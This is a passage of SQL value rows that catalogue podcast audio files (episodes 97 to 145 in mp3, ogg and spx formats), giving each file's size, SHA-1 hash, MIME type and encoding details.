(97,'hpr0097.spx','spx',6253975,'21e4689f41ca225e25ee4b013100efd9b84ec61c','application/ogg; charset=binary','Ogg data, Speex audio'),
(98,'hpr0098.mp3','mp3',4908202,'05d30af17faa432b7fd158a2692d918d17bda194','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(98,'hpr0098.ogg','ogg',4101111,'873cde80c8d234869afa2010008c5d70793c53a2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(98,'hpr0098.spx','spx',2253486,'a6e3c071c5705ebc90ec68ba0ee0be3ce7534dd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(99,'hpr0099.mp3','mp3',3800660,'ef3fc2749731f0872b7527e86f2f93d403ba69fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(99,'hpr0099.ogg','ogg',3035638,'bb3a8cfcc0225f2d9fa2f09a8f525d62a6db7ee1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(99,'hpr0099.spx','spx',872760,'d9a7b6ab0bb4402efe356ebd1e22615b004370a7','application/ogg; charset=binary','Ogg data, Speex audio'),
(100,'hpr0100.mp3','mp3',26627954,'25dc74e1c623644db07413f902420092c11250dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(100,'hpr0100.ogg','ogg',8678860,'c8b2b108f70d050f78b5687f51a3baafaf1c6cf9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(100,'hpr0100.spx','spx',6113992,'fcb5c86c71c7fb7143f34b54bf9305d1f9499cd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(101,'hpr0101.mp3','mp3',36860858,'961443b83292cfa564d6472f9b69a06aea9aecd4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(101,'hpr0101.ogg','ogg',27908191,'3a45bc335115af76280f9bb12bf55805092f66c6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(101,'hpr0101.spx','spx',8463533,'2f2e1aab2ba965877781b9d1b3600c8f49c5ece6','application/ogg; charset=binary','Ogg data, Speex audio'),
(102,'hpr0102.mp3','mp3',10251325,'5de1733b94e665d2e6a89986b30ba335adadb349','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(102,'hpr0102.ogg','ogg',9141878,'cc4b88f0713b8461461c1caa18bf2e86c0d73a27','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(102,'hpr0102.spx','spx',3138249,'bcd4e2387550a8d298756a1dd496d9d327118a27','application/ogg; charset=binary','Ogg data, Speex audio'),
(103,'hpr0103.mp3','mp3',5345779,'60c6343721ee7864b68eee5939bd179896278900','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(103,'hpr0103.ogg','ogg',2966929,'14b550f3c97d7469a36ff2b51e1553c60ca66cbc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(103,'hpr0103.spx','spx',1193892,'bfb1b9248f504ada3926b8707cd820700033acb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(104,'hpr0104.mp3','mp3',5361026,'a2ef9207e0f93f7be3e78e69a5b58fe254ce4a7e','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(104,'hpr0104.ogg','ogg',4066049,'9c91db55cc0317f5468e6826e2f209265c07b162','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(104,'hpr0104.spx','spx',2461837,'254dc59d6b2968c24eeee934c7ada61125a33735','application/ogg; charset=binary','Ogg data, Speex audio'),
(105,'hpr0105.mp3','mp3',14202103,'e66e02a5a7f6c3767b5b25f98d552b4f5039507a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(105,'hpr0105.ogg','ogg',14303172,'7081387c00c74928944fa412eb8fc3ed7414b1cd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(105,'hpr0105.spx','spx',4941498,'7f0e8ac0a3f076f9a052b8bad009eff5564af3d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(106,'hpr0106.mp3','mp3',5751375,'c12b403801d2f38040aa67cbb3f0cdf8b8237445','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(106,'hpr0106.ogg','ogg',4663195,'9980ee167384f15db2f1860222ebbf09e1c5103a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(106,'hpr0106.spx','spx',1320657,'81bdcbe1569b3efca72190a9fe5bd5928c753a45','application/ogg; charset=binary','Ogg data, Speex audio'),
(107,'hpr0107.mp3','mp3',19477632,'daca71ed8a1d76ef3359a03f46ae8f54d2c3dc9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(107,'hpr0107.ogg','ogg',14695322,'ac5f5a1d7f01f9401383134b56a25ce1aaaeeae2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(107,'hpr0107.spx','spx',4472150,'6e2a9a5eb025b2e9012c2461fb869b0c39a87bc0','application/ogg; charset=binary','Ogg data, Speex audio'),
(108,'hpr0108.mp3','mp3',8236032,'f601eb9d31b0c5f4befdabae34f86d118c25edc5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 48 kHz, Stereo'),
(108,'hpr0108.ogg','ogg',8286372,'5ce9f05e6035732026457b5e08ee79189131c258','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(108,'hpr0108.spx','spx',3025465,'7c37ea3274b761ab9d1909ff2804a19a2b0cadbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(109,'hpr0109.mp3','mp3',2793408,'3fb99c7885d311eb677a685a3441a3821e07ccbc','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Stereo'),
(109,'hpr0109.ogg','ogg',3854989,'bf308b5f275df559e953f8ea48f1ae39dbe0f6bb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(109,'hpr0109.spx','spx',1282965,'355a303c6f2ffb6fa13d8a3ec4e140e01f8fa367','application/ogg; charset=binary','Ogg data, Speex audio'),
(110,'hpr0110.mp3','mp3',5821152,'f05af98215228d1f59bb693ffe1de950e818d7f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  40 kbps, 24 kHz, Monaural'),
(110,'hpr0110.ogg','ogg',6551155,'10ca0012ef78751dbfc41963c133b0334a851ad5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(110,'hpr0110.spx','spx',4159089,'9227cc40b3d74b4862d2790c698515236fbe2237','application/ogg; charset=binary','Ogg data, Speex audio'),
(111,'hpr0111.mp3','mp3',1336876,'288229d9f5405e4df200690aa60ab7bbf6727563','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(111,'hpr0111.ogg','ogg',1459925,'df277398217125fef8335297cd26bcddaa63495c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(111,'hpr0111.spx','spx',814310,'a8663548fe78aa23bb1bbd976f2205d8d3ca584e','application/ogg; charset=binary','Ogg data, Speex audio'),
(112,'hpr0112.mp3','mp3',13934239,'de6f9018dd084674a1d2452492ebb36d68cff718','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(112,'hpr0112.ogg','ogg',10067071,'71aa884e253fe6de4fafbc340d582df8246c1082','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(112,'hpr0112.spx','spx',3199363,'c36570838fd2f0bf630b83e983c467669be76916','application/ogg; charset=binary','Ogg data, Speex audio'),
(113,'hpr0113.mp3','mp3',9764958,'0bb65025555217fcfafdfa3f39aebcfc6433f4df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(113,'hpr0113.ogg','ogg',7398824,'27417b97845d1f89b875d309f5bbde639ad89c37','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(113,'hpr0113.spx','spx',2242236,'5ae12e0f0791e90dba1dcb8b4ab23f67f295852f','application/ogg; charset=binary','Ogg data, Speex audio'),
(114,'hpr0114.mp3','mp3',25052640,'4e6a62f3efe89339c9174df6b5d1bea60f7a263c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(114,'hpr0114.ogg','ogg',19430436,'b5b651cd572cfe755fcd5703141fc654100e03e1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(114,'hpr0114.spx','spx',13147569,'081fb24e4ad727da02af5ae813457a92badd117a','application/ogg; charset=binary','Ogg data, Speex audio'),
(115,'hpr0115.mp3','mp3',7814397,'7fc218503cd2ec415070242045e3954668450451','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(115,'hpr0115.ogg','ogg',7201981,'f6dde05efe3391c59482615d75fdd42716c67412','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(115,'hpr0115.spx','spx',2392274,'d3fb3fe8ba3e2799b89a4bb7f8b0aa8961daeec2','application/ogg; charset=binary','Ogg data, Speex audio'),
(116,'hpr0116.mp3','mp3',34205906,'7afcbd758a8e744ac001ab9080549b00be3ba324','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(116,'hpr0116.ogg','ogg',20885887,'86f9496ca348e7bfb180484c93e469b7f4de471c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(116,'hpr0116.spx','spx',7854083,'745c25e7570eb7fccf3009cc5dd52ca269c780e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(117,'hpr0117.mp3','mp3',39722644,'16ae3f5b39709a6aa36848df11c3be9f0b83ba80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(117,'hpr0117.ogg','ogg',26622659,'08b3fed6fe017b2167868d4b7d92b7d6e65aa50a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(117,'hpr0117.spx','spx',9120611,'1eeb6a7b43e0d7ac94a2e85263a63bbbc27370ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(118,'hpr0118.mp3','mp3',38477797,'f9e9ae6e679fefe032613662435e7e7d3312642b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(118,'hpr0118.ogg','ogg',52984660,'db86deadb236af3e18a8f994a72ea6f6619c3494','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(118,'hpr0118.spx','spx',23559229,'9dc4ffcc5bfe0ab6dca154667c769144b2e5df11','application/ogg; charset=binary','Ogg data, Speex audio'),
(119,'hpr0119.mp3','mp3',1834772,'788886f94335c0b6d4525fa80dd53b76b0789640','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(119,'hpr0119.ogg','ogg',2643258,'d1c3332dd1c8d40003c7684edfb53bc7d6da90bc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(119,'hpr0119.spx','spx',1123456,'fb1baf4a0a5a8284e72428d20327132834b32f91','application/ogg; charset=binary','Ogg data, Speex audio'),
(120,'hpr0120.mp3','mp3',1827780,'b126bf96f02afbd3a316515dadc6e376a2bcf812','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(120,'hpr0120.ogg','ogg',3309230,'8b2ab53be7738ac5e94d7ed1ce2dbcbbffd1e225','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(120,'hpr0120.spx','spx',1119122,'17c568d0a883ab40e39d17309785ad5f841513b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(121,'hpr0121.mp3','mp3',4349372,'6027b662ffe927c65b96e66af458a876fe92af1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(121,'hpr0121.ogg','ogg',3503008,'d30925402f4e66b7b3a81d1af5b0b3c5aefb07cb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(121,'hpr0121.spx','spx',998765,'8b79f7f35d083229ef995148f741c71d3197792f','application/ogg; charset=binary','Ogg data, Speex audio'),
(122,'hpr0122.mp3','mp3',1797240,'2f2003ddf0b160115f9dca4c61632aa1b5a45c29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(122,'hpr0122.ogg','ogg',1699611,'0045d377637e5f5f32274ad61fa3e0755b5ddb01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(122,'hpr0122.spx','spx',1175581,'11a176798b7579bf08ccedfff5746652ab58eedf','application/ogg; charset=binary','Ogg data, Speex audio'),
(123,'hpr0123.mp3','mp3',22949119,'ddd359b58f43ded966430de09bf3aa7bcddbb9c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(123,'hpr0123.ogg','ogg',15370646,'2e96fcd6537d736970b20cfff22cecca136df734','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(123,'hpr0123.spx','spx',4215514,'1070eb95f901fa78ca9ea3c49da2b2a6f947a5c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(124,'hpr0124.mp3','mp3',6094370,'927ed592c108794b54d5452afadbf81362d450c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(124,'hpr0124.ogg','ogg',4914963,'d8e5d98940beac7fa38333271f389cade77e5670','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(124,'hpr0124.spx','spx',2798145,'0fc492f67f00b63b87dd2988ebec72074bfc96c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(125,'hpr0125.mp3','mp3',31257393,'e27060f4e863a694ac713f7ce8e6afb9321d0d35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(125,'hpr0125.ogg','ogg',19441456,'090fc63eecb8a1139dbc7962381d296581817a4a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(125,'hpr0125.spx','spx',7176868,'6f7c41a4b2e0897e2c1e0883f34cb819fdb2f7c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(126,'hpr0126.mp3','mp3',5184798,'563d6d436b8849c37356436d63a75c078cc4b952','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(126,'hpr0126.ogg','ogg',7287595,'09cb41a4defd846ad60ba44ecc03a0b5fb579271','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(126,'hpr0126.spx','spx',3174600,'cd224feecc88189d80d79ea62873b486b2c68def','application/ogg; charset=binary','Ogg data, Speex audio'),
(127,'hpr0127.mp3','mp3',4118566,'3af7aeee8dee228941ee4d5fab979375612e20cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(127,'hpr0127.ogg','ogg',6333904,'42464ab4e3c949e275ec53305c360ae62be6674b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(127,'hpr0127.spx','spx',2521737,'b1d978724a567e6ec36fc10cd37502c2d1f6d5de','application/ogg; charset=binary','Ogg data, Speex audio'),
(128,'hpr0128.mp3','mp3',7973850,'76a214e064d67e16d15eda31c15d64b330a7c341','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(128,'hpr0128.ogg','ogg',5687030,'038bc791f2316e69b1e01a926eb2e9d3d6622057','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(128,'hpr0128.spx','spx',1830936,'52d27b0d1d98e0b3862452bf26262b89e35acf43','application/ogg; charset=binary','Ogg data, Speex audio'),
(129,'hpr0129.mp3','mp3',67002934,'499454da68d83e8f0b5d143198baa62eaac78fa8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(129,'hpr0129.ogg','ogg',45219137,'a01392697a478a167b7512ebbc5606419926b55e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(129,'hpr0129.spx','spx',15384253,'0e803b463d607c811c0463767b50829c49adc105','application/ogg; charset=binary','Ogg data, Speex audio'),
(130,'hpr0130.mp3','mp3',4588452,'54a8105296baba0cb8c7e384f47271aaaa65cc8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  40 kbps, 16 kHz, JntStereo'),
(130,'hpr0130.ogg','ogg',4739989,'17c6bbc6a64f89d4c0beeb8f610a9c3eafdd0c04','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(130,'hpr0130.spx','spx',3370706,'8373334bc2781cdc297940d1b4a80173fcce9a2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(131,'hpr0131.mp3','mp3',38453297,'a28c9cd2388a680ad3fbc7dcc2057f0aaa640b87','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(131,'hpr0131.ogg','ogg',20379600,'1f78064cc46229476e558e04521906f5c541206b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(131,'hpr0131.spx','spx',7182516,'47d7291af46623cfaeb1229243b7387eedc6a9c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(132,'hpr0132.mp3','mp3',7139250,'31f074587395a87e15aeb1898a188ee4881559b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(132,'hpr0132.ogg','ogg',8941168,'041d826bddae0c7c1f0767b86b9f0434784c17b5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(132,'hpr0132.spx','spx',3125247,'17e209415b376e816eeba9dd599a004a1f11b564','application/ogg; charset=binary','Ogg data, Speex audio'),
(133,'hpr0133.mp3','mp3',15244041,'1ea4c73c49a82d026650d4e27e98183956f9db28','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, JntStereo'),
(133,'hpr0133.ogg','ogg',4382977,'943928c6fed00295c7c72c5bb9a7886055fe99c7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(133,'hpr0133.spx','spx',1400229,'a0634583e81fb28b213e1fa910b6956fbdb95a9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(134,'hpr0134.mp3','mp3',9822401,'ad2f9e4c78aeecb91478673be65d8c6a601e1b9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(134,'hpr0134.ogg','ogg',10728208,'34ad51675a6c6e49b02e6c7f15d996b194f724b4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(134,'hpr0134.spx','spx',4510645,'8ff4dcff49f0a02e3270e60d109d908b60ec8da7','application/ogg; charset=binary','Ogg data, Speex audio'),
(135,'hpr0135.mp3','mp3',11833919,'3a458d56466ea2afc9b8196a61e97313959bebbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(135,'hpr0135.ogg','ogg',10540913,'1e098728a7eee3c1094372c512a978126bad53db','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(135,'hpr0135.spx','spx',3622351,'0b1ef199652c9f305a77a496dd8c473653e96343','application/ogg; charset=binary','Ogg data, Speex audio'),
(136,'hpr0136.mp3','mp3',12401060,'ebfe3ee70fbde47b0d642a40fd497626ec20c660','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, Stereo'),
(136,'hpr0136.ogg','ogg',7744718,'fed0cf9bb339931699480d84cebbbedc20b9746f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(136,'hpr0136.spx','spx',2308587,'4bc09ea3173ce8e0dd01f15b884326689e649bd8','application/ogg; charset=binary','Ogg data, Speex audio'),
(137,'hpr0137.mp3','mp3',52145531,'04ff382f7883c76c4b99ac17b241f1884c42a589','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Monaural'),
(137,'hpr0137.ogg','ogg',59668122,'424b10fa01466bb5a0df1367f5bb0a1b09adee4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(137,'hpr0137.spx','spx',31051178,'74ffaf7298ce3eeda6b3c65cf9cfc160aa15f203','application/ogg; charset=binary','Ogg data, Speex audio'),
(138,'hpr0138.mp3','mp3',2046289,'76fc06a9fa35b97f0bf7ba1d52ad2fe9240a0fea','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(138,'hpr0138.ogg','ogg',1864977,'cab805f27194350682b3d86976bc0b82e3ea06a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(138,'hpr0138.spx','spx',1256040,'ec792e1c62c65fd68b43638c92bde5e9fcdc810a','application/ogg; charset=binary','Ogg data, Speex audio'),
(139,'hpr0139.mp3','mp3',10025738,'d80c2ce7963e6782eea9d8a1a0b5e7e222643ae0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(139,'hpr0139.ogg','ogg',10954039,'0f05346026bec1be676ad7d71fe34321d9ec582a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(139,'hpr0139.spx','spx',4604049,'379c147774f6e244fa399720691ba32aadf80b54','application/ogg; charset=binary','Ogg data, Speex audio'),
(140,'hpr0140.mp3','mp3',8758798,'7e21d72f58396e5af95bebb29b15210a5f39ed08','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 32 kHz, JntStereo'),
(140,'hpr0140.ogg','ogg',7593076,'2ba02fc5901d8d50ab43a8a65119e747e7c4e967','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(140,'hpr0140.spx','spx',2681538,'d11261f72098e61b5c7fdfe4036de8a56c50b7d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(141,'hpr0141.mp3','mp3',1518798,'c06b72cb27511d42bd434347307bef53d5f177fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(141,'hpr0141.ogg','ogg',2835425,'39bfe7797ad7403f7d9ea4ef189393ae47e35f8d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(141,'hpr0141.spx','spx',930005,'0c3e4cd97bb8da9b62ca68c711d1869f1169016d','application/ogg; charset=binary','Ogg data, Speex audio'),
(142,'hpr0142.mp3','mp3',27969163,'6e99159f2ddbc1ce7dcfe8ef8614bff4efb053b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(142,'hpr0142.ogg','ogg',19872150,'102e85053a36a1f480ff8ad0531b8cd79d929f7f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(142,'hpr0142.spx','spx',6422006,'873db6d233c519d18ae0de6576720c777c825c3b','application/ogg; charset=binary','Ogg data, Speex audio'),
(143,'hpr0143.mp3','mp3',18264985,'236aff94ded18880e6f34811a750aa7dea441642','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(143,'hpr0143.ogg','ogg',14617988,'ce64200790e223054ab07ea9ba89ea1acfb3b5ff','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(143,'hpr0143.spx','spx',9585844,'0123b3ef2474f4962ba188f1cd1b0489ed44b815','application/ogg; charset=binary','Ogg data, Speex audio'),
(144,'hpr0144.mp3','mp3',2793785,'ec618f2e27b4fb0aab0f884505c74a9ce80fd146','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(144,'hpr0144.ogg','ogg',2559079,'7b004df6db1ea04a8852be64e29698d38ad23483','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(144,'hpr0144.spx','spx',1692374,'4135445de1c5a692df59f8509f28efea5543d9db','application/ogg; charset=binary','Ogg data, Speex audio'),
(145,'hpr0145.mp3','mp3',6200738,'3b12762778581a1fad65b5f6c14dcdd1da8a9fe0','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(145,'hpr0145.ogg','ogg',5351348,'55db20027d1b9cfbed4e751e3618ac2a27f7ac06','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
